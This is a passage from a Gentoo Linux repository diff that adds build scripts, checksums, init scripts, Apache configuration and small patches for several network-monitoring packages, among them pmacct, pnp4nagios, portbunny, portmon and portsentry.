+ mongodb? ( dev-libs/mongo-c-driver )
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ sqlite? ( =dev-db/sqlite-3* )
+"
+RDEPEND="${DEPEND}"
+
+DOCS=(
+ CONFIG-KEYS ChangeLog FAQS KNOWN-BUGS QUICKSTART README TODO TOOLS UPGRADE
+ docs/INTERNALS docs/PLUGINS docs/SIGNALS
+)
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.12.0-gentoo.patch
+ sed -i \
+ -e '/[[:space:]]ar /s|ar |$(AR) |g' \
+ $(find . -name Makefile.in) || die
+}
+
+src_configure() {
+ tc-export CC AR RANLIB
+
+ econf \
+ $(use_enable 64bit) \
+ $(use_enable debug) \
+ $(use_enable geoip) \
+ $(use_enable ipv6) \
+ $(use_enable mongodb) \
+ $(use_enable mysql) \
+ $(use_enable postgres pgsql) \
+ $(use_enable sqlite sqlite3) \
+ $(use_enable threads) \
+ $(use_enable ulog)
+}
+
+src_install() {
+ default
+
+ for dirname in examples sql; do
+ docinto ${dirname}
+ dodoc ${dirname}/*
+ done
+
+ newinitd "${FILESDIR}"/pmacctd-init.d pmacctd
+ newconfd "${FILESDIR}"/pmacctd-conf.d pmacctd
+
+ insinto /etc/pmacctd
+ newins examples/pmacctd-imt.conf.example pmacctd.conf
+}
diff --git a/net-analyzer/pmacct/pmacct-1.5.0.ebuild b/net-analyzer/pmacct/pmacct-1.5.0.ebuild
new file mode 100644
index 000000000000..6baf16fc70f1
--- /dev/null
+++ b/net-analyzer/pmacct/pmacct-1.5.0.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="A network tool to gather IP traffic information"
+HOMEPAGE="http://www.pmacct.net/"
+SRC_URI="http://www.pmacct.net/${P/_}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="64bit debug geoip ipv6 mongodb mysql postgres sqlite threads ulog"
+
+RDEPEND="
+ net-libs/libpcap
+ geoip? ( dev-libs/geoip )
+ mongodb? (
+ >=dev-libs/mongo-c-driver-0.8.1-r1
+ <dev-libs/mongo-c-driver-0.98
+ )
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ sqlite? ( =dev-db/sqlite-3* )
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+S="${WORKDIR}/${P/_/}"
+
+DOCS=(
+ CONFIG-KEYS ChangeLog FAQS KNOWN-BUGS QUICKSTART README TODO TOOLS UPGRADE
+ docs/INTERNALS docs/PLUGINS docs/SIGNALS
+)
+
+src_configure() {
+ tc-export CC AR RANLIB
+
+ econf \
+ $(use_enable 64bit) \
+ $(use_enable debug) \
+ $(use_enable geoip) \
+ $(use_enable ipv6) \
+ $(use_enable mongodb) \
+ $(use_enable mysql) \
+ $(use_enable postgres pgsql) \
+ $(use_enable sqlite sqlite3) \
+ $(use_enable threads) \
+ $(use_enable ulog) \
+ --disable-debug
+}
+
+src_install() {
+ default
+
+ for dirname in examples sql; do
+ docinto ${dirname}
+ dodoc -r ${dirname}/*
+ done
+
+ newinitd "${FILESDIR}"/pmacctd-init.d pmacctd
+ newconfd "${FILESDIR}"/pmacctd-conf.d pmacctd
+
+ insinto /etc/pmacctd
+ newins examples/pmacctd-imt.conf.example pmacctd.conf
+}
diff --git a/net-analyzer/pmacct/pmacct-1.5.1.ebuild b/net-analyzer/pmacct/pmacct-1.5.1.ebuild
new file mode 100644
index 000000000000..6eebee7b50db
--- /dev/null
+++ b/net-analyzer/pmacct/pmacct-1.5.1.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs
+
+DESCRIPTION="A network tool to gather IP traffic information"
+HOMEPAGE="http://www.pmacct.net/"
+SRC_URI="http://www.pmacct.net/${P/_}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="64bit debug geoip ipv6 mongodb mysql postgres sqlite threads ulog"
+
+RDEPEND="
+ net-libs/libpcap
+ geoip? ( dev-libs/geoip )
+ mongodb? (
+ >=dev-libs/mongo-c-driver-0.8.1-r1
+ <dev-libs/mongo-c-driver-0.98
+ )
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql:* )
+ sqlite? ( =dev-db/sqlite-3* )
+"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+S="${WORKDIR}/${P/_/}"
+
+DOCS=(
+ CONFIG-KEYS ChangeLog FAQS KNOWN-BUGS QUICKSTART README TODO TOOLS UPGRADE
+ docs/INTERNALS docs/PLUGINS docs/SIGNALS
+)
+
+src_configure() {
+ tc-export CC AR RANLIB
+
+ econf \
+ $(use_enable 64bit) \
+ $(use_enable debug) \
+ $(use_enable geoip) \
+ $(use_enable ipv6) \
+ $(use_enable mongodb) \
+ $(use_enable mysql) \
+ $(use_enable postgres pgsql) \
+ $(use_enable sqlite sqlite3) \
+ $(use_enable threads) \
+ $(use_enable ulog) \
+ $(usex mysql "--with-mysql-includes=$(mysql_config --variable=pkgincludedir)" '') \
+ $(usex mysql "--with-mysql-libs=$(mysql_config --variable=pkglibdir)" '') \
+ --disable-debug
+}
+
+src_install() {
+ default
+
+ for dirname in examples sql; do
+ docinto ${dirname}
+ dodoc -r ${dirname}/*
+ done
+
+ newinitd "${FILESDIR}"/pmacctd-init.d pmacctd
+ newconfd "${FILESDIR}"/pmacctd-conf.d pmacctd
+
+ insinto /etc/pmacctd
+ newins examples/pmacctd-imt.conf.example pmacctd.conf
+}
diff --git a/net-analyzer/pnp4nagios/Manifest b/net-analyzer/pnp4nagios/Manifest
new file mode 100644
index 000000000000..8f1c42a86f9d
--- /dev/null
+++ b/net-analyzer/pnp4nagios/Manifest
@@ -0,0 +1,2 @@
+DIST pnp4nagios-0.6.24.tar.gz 2919182 SHA256 87412ef01257c6096aa5c84fdb47db950b851c596e1306180be8ba45401793cf SHA512 7e8c32e0ac69ab747a57e8ab6cc59fddfb63e16598fda9c1e6270d6309ff0885cd1bd0876d05aa1d30bffa76b281d41dc8fbe59e430778bf4d3bdddc4a7bee9f WHIRLPOOL 4f48b406a7d82a4370701ede2625ed2c247bb933a9197d3417c4eb18f18b879465aeb4775e9a0f0300ac1140159df6c6130466b5434c0b33bccb7fff04de86f8
+DIST pnp4nagios-0.6.25.tar.gz 2921068 SHA256 62d9cdcb132326753373b18fafebd716ec27dc5cbe1ef42204440fca21ca7a0c SHA512 e561fcac8243e6b1ab401312b4a05a6c752e2869da7366a22e4e48d54ae1e9c17c52cb2dffb1ca5748179f3bc856f779317196992643e9862eb09c4debf277c8 WHIRLPOOL 9267bbb04b3cdfdd4d12601508a6d602aa9513a096aac06adf4631fcb1218d2e24fef7a6be1defd8a3ac87106a9cdf6b689b50c432fe0f07ca45d7fbf665d810
diff --git a/net-analyzer/pnp4nagios/files/98_pnp4nagios-2.4.conf b/net-analyzer/pnp4nagios/files/98_pnp4nagios-2.4.conf
new file mode 100644
index 000000000000..5944a2e2f70f
--- /dev/null
+++ b/net-analyzer/pnp4nagios/files/98_pnp4nagios-2.4.conf
@@ -0,0 +1,29 @@
+<IfDefine PNP>
+
+ Alias /pnp4nagios /usr/share/pnp/
+
+ <Directory /usr/share/pnp>
+ AllowOverride AuthConfig
+ Require all granted
+
+ <IfModule rewrite_module>
+ # Turn on URL rewriting
+ RewriteEngine On
+ Options +FollowSymLinks
+
+ # Installation directory
+ RewriteBase /pnp4nagios
+
+ # Protect application and system files from being viewed
+ RewriteRule ^(application|modules|system) - [F,L]
+
+ # Allow any files or directories that exist to be displayed directly
+ RewriteCond %{REQUEST_FILENAME} !-f
+ RewriteCond %{REQUEST_FILENAME} !-d
+
+ # Rewrite all other URLs to index.php/URL
+ RewriteRule .* index.php/$0 [PT,L]
+ </IfModule>
+ </Directory>
+
+</IfDefine>
diff --git a/net-analyzer/pnp4nagios/files/98_pnp4nagios.conf b/net-analyzer/pnp4nagios/files/98_pnp4nagios.conf
new file mode 100644
index 000000000000..4879779a8f93
--- /dev/null
+++ b/net-analyzer/pnp4nagios/files/98_pnp4nagios.conf
@@ -0,0 +1,22 @@
+<IfDefine PNP>
+ Alias /pnp4nagios /usr/share/pnp/
+ <Directory /usr/share/pnp>
+ AllowOverride AuthConfig
+ Order allow,deny
+ Allow from all
+ <IfModule mod_rewrite.c>
+ # Turn on URL rewriting
+ RewriteEngine On
+ Options FollowSymLinks
+ # Installation directory
+ RewriteBase /pnp4nagios
+ # Protect application and system files from being viewed
+ RewriteRule ^(application|modules|system) - [F,L]
+ # Allow any files or directories that exist to be displayed directly
+ RewriteCond %{REQUEST_FILENAME} !-f
+ RewriteCond %{REQUEST_FILENAME} !-d
+ # Rewrite all other URLs to index.php/URL
+ RewriteRule .* index.php/$0 [PT,L]
+ </IfModule>
+ </Directory>
+</IfDefine>
diff --git a/net-analyzer/pnp4nagios/files/npcd b/net-analyzer/pnp4nagios/files/npcd
new file mode 100644
index 000000000000..3f0704043b39
--- /dev/null
+++ b/net-analyzer/pnp4nagios/files/npcd
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+opts="${opts} reload"
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting npcd"
+ start-stop-daemon --start --exec /usr/bin/npcd \
+ -- -f /etc/pnp/npcd.cfg \
+ -d
+ eend $? "Failed to Start npcd"
+}
+
+stop() {
+ ebegin "Stopping npcd"
+ start-stop-daemon --stop --quiet -n npcd
+ eend $? "Failed to Stop npcd"
+}
+
+reload() {
+ ebegin "Reloading npcd"
+ kill -HUP `pgrep npcd`
+ eend $? "Failed to reload npcd"
+}
+
+restart() {
+ ebegin "Restarting npcd"
+ svc_stop
+ svc_start
+ eend $? "Failed to Restart npcd"
+}
diff --git a/net-analyzer/pnp4nagios/files/npcd.initd b/net-analyzer/pnp4nagios/files/npcd.initd
new file mode 100644
index 000000000000..2c71ada44870
--- /dev/null
+++ b/net-analyzer/pnp4nagios/files/npcd.initd
@@ -0,0 +1,19 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_started_commands="reload"
+
+command="/usr/bin/npcd"
+command_args="-f /etc/pnp/npcd.cfg -d"
+
+depend() {
+ need net
+}
+
+reload() {
+ ebegin "Reloading npcd"
+ kill -HUP `pgrep npcd`
+ eend $? "Failed to reload npcd"
+}
diff --git a/net-analyzer/pnp4nagios/files/pnp4nagios-0.6.14-makefile.patch b/net-analyzer/pnp4nagios/files/pnp4nagios-0.6.14-makefile.patch
new file mode 100644
index 000000000000..469389d3ee31
--- /dev/null
+++ b/net-analyzer/pnp4nagios/files/pnp4nagios-0.6.14-makefile.patch
@@ -0,0 +1,32 @@
+diff -Naur pnp4nagios-0.6.14.orig/src/Makefile.in pnp4nagios-0.6.14/src/Makefile.in
+--- pnp4nagios-0.6.14.orig/src/Makefile.in 2011-08-10 17:18:46.000000000 +0200
++++ pnp4nagios-0.6.14/src/Makefile.in 2011-08-10 17:19:51.000000000 +0200
+@@ -83,7 +83,7 @@
+ #
+ ###############################
+ npcd: npcd.c $(NPCDOBJS) $(NPCDHEAD)
+- $(CC) $(CFLAGS) -o $@ npcd.c $(NPCDOBJS) -lpthread
++ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ npcd.c $(NPCDOBJS) -lpthread
+
+ ###############################
+ #
+@@ -118,7 +118,6 @@
+
+ install:
+ $(MAKE) install-basic
+- $(MAKE) strip-post-install
+
+ install-unstripped:
+ $(MAKE) install-basic
+diff -Naur pnp4nagios-0.6.14.orig/configure pnp4nagios-0.6.14/configure
+--- pnp4nagios-0.6.14.orig/configure 2011-08-12 09:01:12.000000000 +0200
++++ pnp4nagios-0.6.14/configure 2011-08-12 09:03:32.000000000 +0200
+@@ -5565,7 +5565,7 @@
+ PERFDATA_LOG="${localstatedir}/perfdata.log"
+ PERFDATA_DIR="${localstatedir}/perfdata"
+ PERFDATA_SPOOL_DIR="${localstatedir}/spool"
+- mandir="\${prefix}/man"
++ mandir="/usr/share/man"
+ ;;
+ esac
+
diff --git a/net-analyzer/pnp4nagios/metadata.xml b/net-analyzer/pnp4nagios/metadata.xml
new file mode 100644
index 000000000000..36a72c70d317
--- /dev/null
+++ b/net-analyzer/pnp4nagios/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>sysadmin</herd>
+ <upstream>
+ <remote-id type="sourceforge">pnp4nagios</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/pnp4nagios/pnp4nagios-0.6.24.ebuild b/net-analyzer/pnp4nagios/pnp4nagios-0.6.24.ebuild
new file mode 100644
index 000000000000..e59c11902445
--- /dev/null
+++ b/net-analyzer/pnp4nagios/pnp4nagios-0.6.24.ebuild
@@ -0,0 +1,85 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils
+
+DESCRIPTION="A performance data analyzer for nagios"
+HOMEPAGE="http://www.pnp4nagios.org"
+SRC_URI="mirror://sourceforge/${PN}/PNP-0.6/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+KEYWORDS="amd64 ppc ppc64 ~sparc x86"
+
+DEPEND="
+ dev-lang/php[json,simplexml,zlib,xml,filter]
+ >=dev-lang/php-5.3
+ >=net-analyzer/rrdtool-1.2[graph,perl]
+ || ( net-analyzer/nagios-core net-analyzer/icinga net-analyzer/icinga2 )"
+RDEPEND="${DEPEND}
+ virtual/perl-Getopt-Long
+ virtual/perl-Time-HiRes
+ media-fonts/dejavu
+ apache2? ( www-servers/apache[apache2_modules_rewrite] )"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-0.6.14-makefile.patch
+}
+
+src_configure() {
+ local var_dir=
+ local user_group=
+
+ if has_version net-analyzer/nagios-core; then
+ var_dir=/var/nagios/
+ user_group=nagios
+ else
+ var_dir=/var/lib/icinga/
+ user_group=icinga
+ fi
+
+ econf \
+ --sysconfdir=/etc/pnp \
+ --datarootdir=/usr/share/pnp \
+ --mandir=/usr/share/man \
+ --with-perfdata-dir=${var_dir}/perfdata \
+ --with-nagios-user=${user_group} \
+ --with-nagios-group=${user_group} \
+ --with-perfdata-logfile=${var_dir}/perfdata.log \
+ --with-perfdata-spool-dir=/var/spool/pnp
+}
+
+src_compile() {
+ # The default target just shows a help
+ emake all
+}
+
+src_install() {
+ emake DESTDIR="${D}" install install-config
+ newinitd "${FILESDIR}"/npcd.initd npcd
+ rm "${D}"/usr/share/pnp/install.php || die
+
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ doins "${FILESDIR}"/98_pnp4nagios.conf
+ fi
+
+ # Bug 430358 - CVE-2012-3457
+ find "${D}/etc/pnp" -type f -exec chmod 0640 {} \; || die
+ find "${D}/etc/pnp" -type d -exec chmod 0750 {} \; || die
+}
+
+pkg_postinst() {
+ elog "Please make sure to enable URL rewriting in Apache or any other"
+ elog "webserver you're using, to get pnp4nagios running!"
+}
diff --git a/net-analyzer/pnp4nagios/pnp4nagios-0.6.25.ebuild b/net-analyzer/pnp4nagios/pnp4nagios-0.6.25.ebuild
new file mode 100644
index 000000000000..20346d15c7be
--- /dev/null
+++ b/net-analyzer/pnp4nagios/pnp4nagios-0.6.25.ebuild
@@ -0,0 +1,106 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils
+
+DESCRIPTION="A performance data analyzer for nagios"
+HOMEPAGE="http://www.pnp4nagios.org/"
+SRC_URI="mirror://sourceforge/${PN}/PNP-0.6/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE=""
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+
+# A lot of things (sync mode, for one) are broken with nagios-4.x.
+DEPEND="
+ >=dev-lang/php-5.3:*[json,simplexml,zlib,xml,filter]
+ >=net-analyzer/rrdtool-1.2[graph,perl]
+ || ( <net-analyzer/nagios-core-4 net-analyzer/icinga net-analyzer/icinga2 )"
+
+# A list of modules used in our Apache config file.
+APACHE_MODS="apache2_modules_alias," # "Alias" directive
+APACHE_MODS+="apache2_modules_authz_core," # "Require" directive
+APACHE_MODS+="apache2_modules_rewrite" # "RewriteEngine" and friends
+
+RDEPEND="${DEPEND}
+ virtual/perl-Getopt-Long
+ virtual/perl-Time-HiRes
+ media-fonts/dejavu
+ apache2? ( >=www-servers/apache-2.4[${APACHE_MODS}] )"
+
+# There is no want_apache2_4, but we needed to specify that manually
+# anyway to be able to include the list of modules.
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/${PN}-0.6.14-makefile.patch"
+}
+
+src_configure() {
+ local var_dir=
+ local user_group=
+
+ if has_version net-analyzer/nagios-core; then
+ var_dir=/var/nagios/
+ user_group=nagios
+ else
+ var_dir=/var/lib/icinga/
+ user_group=icinga
+ fi
+
+ econf \
+ --sysconfdir=/etc/pnp \
+ --datarootdir=/usr/share/pnp \
+ --mandir=/usr/share/man \
+ --with-perfdata-dir=${var_dir}/perfdata \
+ --with-nagios-user=${user_group} \
+ --with-nagios-group=${user_group} \
+ --with-perfdata-logfile=${var_dir}/perfdata.log \
+ --with-perfdata-spool-dir=/var/spool/pnp
+}
+
+src_compile() {
+ # The default target just shows a help
+ emake all
+}
+
+src_install() {
+ emake DESTDIR="${D}" install install-config
+ newinitd "${FILESDIR}"/npcd.initd npcd
+ rm "${D}/usr/share/pnp/install.php" || \
+ die "unable to remove ${D}/usr/share/pnp/install.php"
+
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/98_pnp4nagios-2.4.conf 98_pnp4nagios.conf
+
+ # Allow the apache user to read our config files. This same
+ # approach is used in net-analyzer/nagios-core.
+ chgrp -R apache "${D}/etc/pnp" \
+ || die "failed to change group of ${ROOT}etc/pnp"
+ fi
+
+ # Bug 430358 - CVE-2012-3457
+ find "${D}/etc/pnp" -type f -exec chmod 0640 '{}' + || \
+ die "unable to set file permissions under ${D}/etc/pnp"
+
+ find "${D}/etc/pnp" -type d -exec chmod 0750 '{}' + || \
+ die "unable to set directory permissions under ${D}/etc/pnp"
+}
+
+pkg_postinst() {
+ elog "To enable the pnp4nagios web front-end, please visit"
+ elog "${ROOT}etc/conf.d/apache2 and add \"-D PNP -D PHP5\""
+ elog "to APACHE2_OPTS. Then pnp4nagios will be available at,"
+ elog
+ elog " http://localhost/pnp4nagios"
+ elog
+}
diff --git a/net-analyzer/poink/Manifest b/net-analyzer/poink/Manifest
new file mode 100644
index 000000000000..13a607bd97d2
--- /dev/null
+++ b/net-analyzer/poink/Manifest
@@ -0,0 +1 @@
+DIST poink-2.03.tar.gz 11427 RMD160 331a22526b678696ffc8a7e73a58fe1945583b70 SHA1 36bb16cbfb4b4ca6b99e8ac85fbacdbe47d729d1 SHA256 545150921086da2bbb01225d38d4445b318ebeae8958d2bee53fd806ddb237cc
diff --git a/net-analyzer/poink/files/poink-2.03-signed-char-fixup.patch b/net-analyzer/poink/files/poink-2.03-signed-char-fixup.patch
new file mode 100644
index 000000000000..543e58bb184e
--- /dev/null
+++ b/net-analyzer/poink/files/poink-2.03-signed-char-fixup.patch
@@ -0,0 +1,13 @@
+diff -Nuar poink-2.03.orig/poink.c poink-2.03/poink.c
+--- poink-2.03.orig/poink.c 2002-11-03 03:12:56.000000000 -0800
++++ poink-2.03/poink.c 2007-06-11 11:59:09.763490735 -0700
+@@ -109,7 +109,8 @@
+ SOCKADDR_IN s;
+ struct timeval ping_start, ping_end;
+ struct sigaction siga;
+- char ch, pingerror[100];
++ signed char ch; // EOF is -1
++ char pingerror[100];
+ int delay=DEF_DELAY,timeout=DEF_TIMEOUT;
+ int suck, tmp, port=65535;
+
diff --git a/net-analyzer/poink/metadata.xml b/net-analyzer/poink/metadata.xml
new file mode 100644
index 000000000000..c6d862855eb5
--- /dev/null
+++ b/net-analyzer/poink/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/poink/poink-2.03.ebuild b/net-analyzer/poink/poink-2.03.ebuild
new file mode 100644
index 000000000000..356775514c51
--- /dev/null
+++ b/net-analyzer/poink/poink-2.03.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="TCP/IP-based ping implementation"
+HOMEPAGE="http://directory.fsf.org/security/system/poink.html"
+SRC_URI="http://ep09.pld-linux.org/~mmazur/poink/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE=""
+DEPEND=""
+
+src_unpack() {
+ unpack ${A}
+ epatch ${FILESDIR}/${PN}-2.03-signed-char-fixup.patch
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS} ${LDFLAGS}" CC="$(tc-getCC)" || die
+}
+
+src_install() {
+ dobin poink poink6
+ newman ping.1 poink.1
+ dodoc README* ChangeLog COPYING
+}
diff --git a/net-analyzer/portbunny/Manifest b/net-analyzer/portbunny/Manifest
new file mode 100644
index 000000000000..a5d19f09ecb8
--- /dev/null
+++ b/net-analyzer/portbunny/Manifest
@@ -0,0 +1 @@
+DIST PortBunny230408.tar.gz 224753 SHA256 ace967834ffe36a0e2f073a46b3a81b48671cc78e2d2cca6eb2ca6a63d05ead3
diff --git a/net-analyzer/portbunny/metadata.xml b/net-analyzer/portbunny/metadata.xml
new file mode 100644
index 000000000000..a40624fba8f0
--- /dev/null
+++ b/net-analyzer/portbunny/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/portbunny/portbunny-1.0_p20080423.ebuild b/net-analyzer/portbunny/portbunny-1.0_p20080423.ebuild
new file mode 100644
index 000000000000..29234edcf955
--- /dev/null
+++ b/net-analyzer/portbunny/portbunny-1.0_p20080423.ebuild
@@ -0,0 +1,57 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils linux-mod
+
+MY_PV_SNAP=${PV##*_p}
+if [[ ${MY_PV_SNAP} != ${PV} ]]; then
+ MY_PV=${MY_PV_SNAP:6:2}${MY_PV_SNAP:4:2}${MY_PV_SNAP:2:2}
+ MY_P=PortBunny${MY_PV}
+ S="${WORKDIR}"/${MY_P}-dev
+else
+ MY_P=PortBunny-${PV}
+ S="${WORKDIR}"/${MY_P}
+fi
+
+MODULE_NAMES="portbunny(kernel:)"
+BUILD_TARGETS="all"
+
+DESCRIPTION="A kernel based highspeed TCP SYN port scanner"
+HOMEPAGE="http://recurity-labs.com/portbunny/"
+SRC_URI="http://recurity-labs.com/portbunny/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~x86"
+IUSE=""
+
+DEPEND="dev-lang/python"
+
+src_install() {
+ insinto /usr/share/portbunny
+ doins UI/share/portbunny/*
+ dosed "s:^\(ETC_SERVICES\)[[:space:]]\+=.*:\1 = '/usr/share/portbunny/services':g" \
+ /usr/share/portbunny/PBunnyServices.py
+ dobin UI/bin/portbunny.py
+ dosym portbunny.py /usr/bin/portbunny
+ dosed "s:^\(PBUNNY_SHARE\)[[:space:]]\+=.*:\1 = '/usr/share/portbunny/':g" \
+ /usr/bin/portbunny.py
+ dosed "s:^\(PBUNNY_SHARE2\)[[:space:]]\+=.*:\1 = '/usr/share/portbunny/':g" \
+ /usr/bin/portbunny.py
+
+ linux-mod_src_install
+}
+
+pkg_postinst() {
+ einfo
+ einfo "See http://recurity-labs.com/portbunny/README.pdf"
+ einfo
+ ewarn
+ ewarn "WARNING"
+ ewarn "WARNING: this software may HARM the stability of your system!"
+ ewarn "WARNING: do NOT use this on production machines!"
+ ewarn "WARNING"
+ ewarn
+ ebeep 10
+}
diff --git a/net-analyzer/portmon/Manifest b/net-analyzer/portmon/Manifest
new file mode 100644
index 000000000000..1cb7f8a867f3
--- /dev/null
+++ b/net-analyzer/portmon/Manifest
@@ -0,0 +1 @@
+DIST portmon-2.0.tar.gz 107246 SHA256 b2f2129ff02080e4f828c16617e52141bec3cc5582db5cebed3951418225e816 SHA512 1feafd1a8701d269c2f2e36f46ef51eeda8975aeca85d6f720cf5805e3f8bd031eb681117fa9414e775ea46c543066deb3532e7cc7d26c655daf6163fac77e25 WHIRLPOOL f453f8034581fad4554a8fbcf93a5cd472712cdf96b30c558bd590ef598f63557fdf84b675a481110e6e32565cadb81eba79587376fafb9a50c6dea6e56e2b69
diff --git a/net-analyzer/portmon/files/portmon.init b/net-analyzer/portmon/files/portmon.init
new file mode 100644
index 000000000000..75879f8911a1
--- /dev/null
+++ b/net-analyzer/portmon/files/portmon.init
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# configuration is done in /etc/pormon.sh
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e /etc/portmon/portmon.hosts ]; then
+ error " You need /etc/portmon/portmaon.hosts to run portmon."
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting portmon"
+ start-stop-daemon --start --quiet --exec /usr/sbin/portmon -- -d -c /etc/portmon/portmon.hosts
+ eend $?
+}
+
+stop() {
+ checkconfig || return 1
+ ebegin "Staring portmon"
+ start-stop-daemon --stopt --quiet --exec /usr/sbin/portmon
+}
diff --git a/net-analyzer/portmon/metadata.xml b/net-analyzer/portmon/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/portmon/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/portmon/portmon-2.0.ebuild b/net-analyzer/portmon/portmon-2.0.ebuild
new file mode 100644
index 000000000000..d97636f7f7ce
--- /dev/null
+++ b/net-analyzer/portmon/portmon-2.0.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Portmon is a network service monitoring daemon"
+HOMEPAGE="http://aboleo.net/software/portmon/"
+SRC_URI="${HOMEPAGE}downloads/${P}.tar.gz"
+
+KEYWORDS="~amd64 ~ppc x86"
+SLOT="0"
+LICENSE="GPL-2"
+
+src_configure() {
+ econf --sysconfdir=/etc/portmon
+}
+
+src_install() {
+ into /usr
+ dosbin src/portmon
+
+ doman extras/portmon.8
+
+ insinto /etc/portmon
+ doins extras/portmon.hosts.sample
+ dodoc AUTHORS BUGS README
+
+ newinitd "${FILESDIR}"/portmon.init portmon
+}
diff --git a/net-analyzer/portsentry/Manifest b/net-analyzer/portsentry/Manifest
new file mode 100644
index 000000000000..a814540294c5
--- /dev/null
+++ b/net-analyzer/portsentry/Manifest
@@ -0,0 +1 @@
+DIST portsentry-1.2.tar.gz 48054 SHA256 dd1edcfcf2d9db7b5722de4f1da36ae45703bf05917af657ab6f7491be7fa52e SHA512 bcbea576816c654a9e165897ea51de3a4dde2940b05e26e785315fae5a5c7a0f697abfa2ace14d16e687e4a26f37c75cdaffefa1c5f98681f858dda22bcf3dae WHIRLPOOL 109a89bccb034dde0eea9c383aec7ce2dc58be34b5f71ded782e61cb632e20d59f0c5b63493cdb14400d31fe34b57c1f8006b081eb86219e1b44ee28e02d4fff
diff --git a/net-analyzer/portsentry/files/portsentry-1.2-conf.patch b/net-analyzer/portsentry/files/portsentry-1.2-conf.patch
new file mode 100644
index 000000000000..54f78fb467bc
--- /dev/null
+++ b/net-analyzer/portsentry/files/portsentry-1.2-conf.patch
@@ -0,0 +1,17 @@
+--- a/portsentry.conf
++++ b/portsentry.conf
+@@ -80,11 +80,11 @@
+ ######################
+ #
+ # Hosts to ignore
+-IGNORE_FILE="/usr/local/psionic/portsentry/portsentry.ignore"
++IGNORE_FILE="/etc/portsentry/portsentry.ignore"
+ # Hosts that have been denied (running history)
+-HISTORY_FILE="/usr/local/psionic/portsentry/portsentry.history"
++HISTORY_FILE="/etc/portsentry/portsentry.history"
+ # Hosts that have been denied this session only (temporary until next restart)
